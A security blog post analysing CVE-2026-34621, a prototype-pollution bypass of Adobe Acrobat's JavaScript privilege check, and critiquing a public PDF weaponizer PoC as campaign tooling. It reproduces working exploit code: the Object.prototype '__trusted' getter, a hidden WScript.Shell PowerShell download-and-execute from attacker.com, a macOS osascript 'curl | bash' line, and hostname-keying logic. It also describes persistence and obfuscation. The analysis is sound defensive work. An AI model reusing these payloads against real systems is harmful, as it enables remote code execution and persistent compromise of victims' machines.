//nefariousplan

CVE-2026-34621: Adobe Acrobat's Privilege Gate Inherits What It Checks

patterns

cve

proof of concept

The PDF arrives as an invoice. It runs its JavaScript before you see the first page. The first thing it does is tell Object.prototype what to say when asked whether it's trusted. After that, Adobe Acrobat's privilege gate, the check that stands between JavaScript running inside a document and JavaScript launching system processes, asks the execution context whether it's trusted. The context traverses its prototype chain. Object.prototype answers.

This is CVE-2026-34621. CVSS 8.6, scope change, arbitrary code execution on Windows and macOS, on CISA's Known Exploited Vulnerabilities list with a federal remediation deadline of April 27, 2026. The PoC repository is not a scanner or a detection probe. It is a cross-platform PDF weaponizer: obfuscated, lure-merged, environment-keyed, staged, persistent, and campaign-tracked. It prints "FOR AUTHORIZED SECURITY TESTING ONLY" when you run it, before it parses its arguments.

The person who opens it is in accounts payable. She receives it because she was supposed to: the lure PDF is a real invoice, cloned page by page from a legitimate document the sender obtained beforehand. She opens it, sees the invoice, scrolls to the total. By the time she reaches the second page, the AdobeUpdate registry Run key is already written to her machine. The PowerShell process has already exited, window hidden, no wait. The stage URL has already been contacted. Nothing on screen indicates any of this happened. The PDF looks exactly like the invoice it was built to impersonate, because it contains the exact pages of that invoice.

The privilege gate Adobe built

Adobe Acrobat's JavaScript environment is sandboxed by design. JavaScript running inside a PDF cannot, in the ordinary course, call system APIs. This restriction enables interactive PDF forms without giving form authors shell access to the machines that open the document. The enforcement lives in a privilege model built into Adobe's JavaScript engine.

Certain APIs are marked as privileged. app.launchURL(url, true), the second parameter signals "launch as external process" rather than open in a browser. util.readFileIntoStream({cDIPath: path, bEncodeBase64: true}), reads a local file from the filesystem into the script's context. new ActiveXObject('WScript.Shell'), instantiates a Windows scripting host capable of running arbitrary commands. These APIs exist, they're documented in the Acrobat JavaScript API Reference, and they're gated. The gate checks whether the calling context is trusted.

The check reads a property. Adobe's engine examines whether a specific flag, __trusted, evaluates to true on the execution context object. Trusted context: restricted API available. Untrusted context: call fails.

The execution context is a JavaScript object. JavaScript objects inherit properties from their prototype chain. At the top of every object's prototype chain is Object.prototype.

What prototype pollution does to that check

The exploit JavaScript is the first thing that runs when the PDF opens. Before OS detection, before command selection, before any payload:

Object.prototype.__defineGetter__('__trusted', function() { return true; });
Object.prototype.constructor.prototype.bypass = true;
Object.prototype.__proto__.privileged = true;
Array.prototype.__proto__.polluted = true;

__defineGetter__ attaches a getter function to Object.prototype. After this executes, any property lookup for __trusted on any object that doesn't have __trusted defined directly on itself will reach Object.prototype, invoke the getter, and receive true.

Adobe's execution context is that object. The context object has no __trusted property of its own, by the sandbox's design, untrusted contexts aren't trusted. But it inherits from Object.prototype. The prototype chain leads directly to the getter. The privilege check asks the context whether it's trusted. The context delegates the question upward. The answer comes back true.

The additional properties, bypass, privileged, polluted, indicate the author mapped Adobe's internal trust model before writing this. These are not generic names. Someone identified which specific properties Adobe's engine interrogates for privilege decisions, either by reading the SDK internals, by reverse-engineering the binary, or by instrumenting a live Acrobat instance against different access attempts. All four pollution lines are present because the author needed all of them covered.

The root cause is that Adobe's trust boundary is enforced by a JavaScript property lookup, inside JavaScript's own object model. The gate is written in the same language it's supposed to contain. Any value reachable by prototype traversal is reachable from inside the execution context, and __trusted is reachable because it's an ordinary object property with ordinary inheritance semantics. The correct fix is not a different property name. It's moving the trust state out of JavaScript entirely, into the native engine layer, into a non-inheritable slot, somewhere the execution context can read but its prototype chain cannot reach.

The execution chain

The PDF's OpenAction fires the JavaScript immediately when Acrobat renders the document, before the user sees a page. The payload generator detects the operating system via app.platform (Adobe's own API) and branches accordingly.

Windows. Three methods, tried in order:

Method 1 is app.launchURL('file:///C:/Windows/System32/cmd.exe?/c ...'). This fails. File URLs with query strings do not invoke cmd.exe with the parameters the code expects. The URL handler doesn't parse the query string as command arguments.

Method 2 is the one that executes:

var shell = new ActiveXObject('WScript.Shell');
shell.Run("cmd.exe /c powershell -NoP -Ep Bypass -C \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/shell.ps1')\"", 0, false);

ActiveXObject instantiation is among the highest-privilege operations in the Acrobat JavaScript environment. The sandbox blocks it. With Object.prototype.__trusted returning true, the check passes, the object is instantiated, and WScript.Shell.Run fires with window hidden (0) and no wait (false). The PowerShell process spawns without a visible window. If a stage URL was specified, the second-stage payload downloads and executes.

Method 3 is a direct PowerShell fallback through the same path, for cases where the staged download approach is unavailable.

macOS. The chain uses app.launchURL with the osascript:// scheme:

var script = 'do shell script "curl -s http://attacker.com/payload.sh | bash"';
app.launchURL('osascript://' + encodeURIComponent(script));

AppleScript's URL scheme routes the script through the system's scripting bridge. The do shell script primitive passes the command to /bin/sh. The curl | bash pipe downloads and executes the remote payload.

Both chains optionally install persistence. Windows writes an AdobeUpdate registry Run key pointing to a dropper in %TEMP%. macOS writes a LaunchAgent plist to ~/Library/LaunchAgents/com.adobe.update.plist and loads it immediately with launchctl load. Both persistence mechanisms survive reboots.

A secondary step reads C:\Windows\win.ini (Windows) or /etc/hosts (macOS) via util.readFileIntoStream. This isn't payload delivery, it's a confirmation step. If the privileged file read succeeds, the prototype pollution worked and the privilege gate is open for all subsequent calls.

Affected versions: Adobe Acrobat DC Continuous ≤ 26.001.21367, patched in 26.001.21411. Adobe Acrobat 2024 Classic ≤ 24.001.30356, patched in 24.001.30362 (Windows) and 24.001.30360 (macOS).

What the architecture tells you

The tool has five capabilities that, individually, each have a plausible defensive justification. Together they describe something else.

Lure PDF merging. Pass -l /path/to/real_invoice.pdf and the generator clones every page from the legitimate document using PyPDF2, then injects the exploit JavaScript as an OpenAction. The victim opens a PDF that is visually and functionally a real invoice, because it contains the exact pages of a real invoice, while the payload executes silently behind it. The filename examples in the README are invoice.pdf, contract.pdf, resume.pdf, safe_invoice.pdf. Not test.pdf. Not lab_poc.pdf. The author named them for the inboxes they'd land in.

Three-level JavaScript obfuscation. At level 3: the entire payload is base64-encoded, wrapped in eval(atob(...)), then subjected to a second pass of variable renaming and dead code injection. The obfuscation is polymorphic by default, randomized per run, which means two PDFs generated from the same command will produce different JavaScript signatures. The --seed flag makes the obfuscation reproducible: --seed 42 always generates the same obfuscated output for a given configuration. Reproducibility matters when you're tracking what you sent to whom.

Environment keying. -k SALES-PC. The payload wraps itself in a hostname check:

var targetKey = 'SALES-PC';
var shell = new ActiveXObject('WScript.Shell');
currentKey = shell.ExpandEnvironmentStrings('%COMPUTERNAME%');
if (currentKey.toUpperCase() === targetKey.toUpperCase()) {
    // execute payload
}

The payload fires only on the machine whose hostname matches the specified key. The -k SALES-PC flag only makes operational sense if you already know who you're hunting. In a penetration test, you have network access to the target environment, you enumerate hostnames directly, you don't need to key a document to a specific machine name and deliver it hoping it lands on the right desk. Environment keying is a feature for operators who have already identified a specific machine at a specific organization and need to ensure the payload fires on that machine and no other.

Staged payload support. --stage http://10.0.0.5/payload.ps1. The embedded command becomes a downloader rather than a direct execution. The stage URL can be updated after the PDF is delivered, if the initial payload has been burned or needs to change, every unopened copy of the PDF will download the updated version when it fires. This separates PDF generation from payload maintenance.

Report generation. Every generated PDF produces three files. The HTML report renders configuration details in a styled interface. The plaintext report summarizes the same. The JSON config export records: windows_cmd, mac_cmd, stage_url, persistence, delay, env_key, obfuscation_level, trigger_vector, lure_pdf.

One JSON file per PDF.

Generate twenty documents, invoice_acme.pdf, contract_widgetco.pdf, resume_target3.pdf, each with a different environment key and stage URL, each producing a JSON config file that records the embedded command, the target hostname, whether persistence was enabled, and where the second-stage payload lives. After the run, you have twenty JSON files. That is not a test log. That is a campaign ledger.

The schema tells you something about who designed it. env_key is the hostname the document was keyed to. lure_pdf is the path of the real document cloned into the cover. persistence is a boolean recording whether this copy installs a Run key or LaunchAgent. These fields are not logging infrastructure for a test environment. They are provenance tracking for a fleet. A test log records whether the exploit worked. A campaign ledger records who received which document, what persistence posture it carried, and which stage URL you planned to rotate when the first payload burned.

The disclaimer runs before the arguments

Line 17 of the script:

"""
FOR AUTHORIZED SECURITY TESTING ONLY.
"""

Reprinted as a printed banner at lines 33–58, executing when you invoke the script, before Python even parses the command-line arguments. The disclaimer fires before the tool knows what you're about to do with it.

The same author who wrote that disclaimer designed the environment keying feature. Named the output files invoice.pdf and targeted.pdf. Built the per-PDF JSON ledger. Included --seed for reproducible polymorphic generation across campaigns.

The disclaimer is the first thing the script prints. The environment keying feature is the one that describes who the script was built for. Both are in the same file, by the same hand. One of them describes the intended use case. We are not required to guess which. PoC: NULL200OK/cve_2026_34621_advanced